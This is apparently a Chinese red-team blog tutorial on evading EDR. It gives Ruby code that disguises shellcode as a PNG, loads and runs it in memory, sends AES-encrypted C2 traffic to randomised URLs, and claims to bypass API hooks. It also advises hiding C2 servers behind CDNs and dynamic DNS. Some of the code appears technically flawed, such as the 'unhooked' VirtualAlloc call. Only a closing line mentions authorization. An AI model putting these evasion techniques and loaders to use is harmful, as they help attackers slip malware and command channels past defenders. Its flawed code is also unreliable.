一、一次未遂的渗透行动
在一次针对某金融机构的授权渗透测试中,我们部署了一个自定义的Cobalt Strike载荷,但在执行阶段却被该机构的EDR(Endpoint Detection and Response,终端检测和响应)系统精准抓捕,连载荷的内存活动都没有躲过去。这次失败暴露了一个痛点:现代防御技术对传统恶意载荷的检测能力已经做到了"闻风而动"的地步。
于是,我们重新设计了免杀方案,将恶意载荷进行深度改造,专门针对EDR的行为分析机制进行对抗,最终实现了隐蔽加载。这篇文章就以这次渗透行动为背景,带你深入探讨恶意载荷免杀的技巧。
---
二、Payload伪装的魔术
恶意载荷的免杀,核心在于两点:
- 流量伪装:躲过网络级分析,避免被拦截。
- 行为隐秘:绕过终端活动监控。
为了具体说明,我选择了一种常见的Shellcode加载方式。具体来说,我们会将Shellcode伪装成无害数据,并通过内存加载技术避免触碰磁盘。以下是我们将使用的技术:
1. Shellcode伪装成图片文件
第一步是改造载荷的外观。我们将恶意Shellcode嵌入一张图片文件中(支持PNG、JPEG等格式),这样可以绕过很多静态检测机制。思路如下:
- 将Shellcode转化为Base64编码,嵌入图片文件的元数据位置。
- 在运行时从图片中提取并解码Shellcode。
我们使用Ruby脚本实现这一过程: <pre><code class="language-ruby">require 'base64'
读取原始Shellcode
shellcode = File.read('payload.bin')
将Shellcode编码为Base64
encoded_shellcode = Base64.encode64(shellcode)
将Base64数据嵌入图片文件的元数据
File.open('safe_image.png', 'wb') do |file| file.write("\x89PNG\r\n\x1A\n") # PNG文件头 file.write(encoded_shellcode) end
puts "Shellcode已经伪装成图片文件:safe_image.png"</code></pre>
2. 内存加载Shellcode

伪装后的图片文件需要一个加载器来提取并执行其中的恶意代码。我们利用内存加载技术,将Shellcode直接注入到进程内存中,而不进行磁盘写入。以下是加载器的实现: <pre><code class="language-ruby">require 'base64' require 'fiddle'
从图片文件中提取Base64编码的Shellcode
encoded_shellcode = File.read('safe_image.png').scan(/(?<=\x89PNG\r\n\x1A\n).*/m).join shellcode = Base64.decode64(encoded_shellcode)
动态加载Shellcode到内存
func_ptr = Fiddle::Function.new(Fiddle::Pointer[shellcode], [], Fiddle::TYPE_VOIDP) puts "Shellcode已成功加载到内存,即将执行..." func_ptr.call</code></pre>
此加载器会在运行时从图片中解码Shellcode,并通过Fiddle库直接调用内存中的代码。
---
三、流量伪装与C2隐身术
1. C2流量动态变形
现代EDR不仅仅分析载荷本身,还会对C2(Command and Control)流量进行行为分析。为了对抗流量检测,我们将C2流量伪装成正常的HTTP请求,具体策略如下:
- 动态URL生成:使用随机URL路径,避免被静态规则拦截。
- 内容加密:对通信数据进行AES加密,避免被深度包解析(DPI)识别。

以下是一段Ruby实现的C2流量伪装代码: <pre><code class="language-ruby">require 'net/http' require 'openssl' require 'base64'
AES加密通信数据
def encrypt_data(data, key) cipher = OpenSSL::Cipher::AES.new(128, :CBC) cipher.encrypt cipher.key = key cipher.iv = key.reverse[0..15] # 生成IV Base64.encode64(cipher.update(data) + cipher.final) end
发送伪装后的C2流量
uri = URI("http://example.com/#{rand(36**8).to_s(36)}") data = encrypt_data("execute_shellcode", "supersecretkey123")
response = Net::HTTP.post_form(uri, 'data' => data) puts "C2流量已发送,响应:#{response.body}"</code></pre>
2. 隐藏C2服务器
除了伪装流量,我们还需要隐藏C2服务器的位置。常用方法包括:
- CDN转发:通过公共CDN(如Cloudflare)中转流量。
- 动态域名:使用动态域名服务(如No-IP)不断更换解析地址。
---
四、EDR绕过的关键战术
1. API Hook对抗
很多EDR会通过API Hook的方式监控重要的系统调用,例如VirtualAlloc、NtOpenProcess等。为了绕过这些监控,我们可以通过直接调用底层系统的未被Hook的版本来实现目标功能。
以下是一个在Windows中绕过API Hook的示例: <pre><code class="language-ruby">require 'fiddle'
获取未被Hook的函数地址
kernel32 = Fiddle.dlopen('kernel32.dll') virtual_alloc = kernel32['VirtualAlloc']
使用未被Hook的VirtualAlloc分配内存
memory = virtual_alloc.call(nil, 0x1000, 0x1000, 0x40) puts "内存已分配:#{memory}"</code></pre>

2. 内存活动伪装
除了API Hook,EDR还会监控内存中加载的恶意代码。我们可以通过在内存中对Shellcode进行加密,只有在执行时解密来隐藏活动。
---
五、经验总结:免杀的艺术
免杀是一门艺术。如果你想成为一个顶级红队成员,就需要时刻保持攻击者思维:如何在防守者的视野中做到隐身?这篇文章的所有技术只是冰山一角,在实战中,你还需要根据目标环境灵活调整策略。
当你设计免杀方案时,请牢记以下原则:
- 动态性:静态规则很容易被绕过,设计动态变化的载荷。
- 伪装能力:不要让载荷的外观暴露自己,例如伪装成图片、视频等。
- 行为隐秘:避免触碰磁盘,尽可能在内存中完成任务。
- 流量隐藏:不要让C2流量成为靶子,伪装成正常流量。
最后,所有的研究都应以授权为前提,任何未经授权的攻击行为都可能带来严重法律后果。希望你从本文中学到的技术可以帮助你在合法的研究环境中提升自己的渗透测试能力。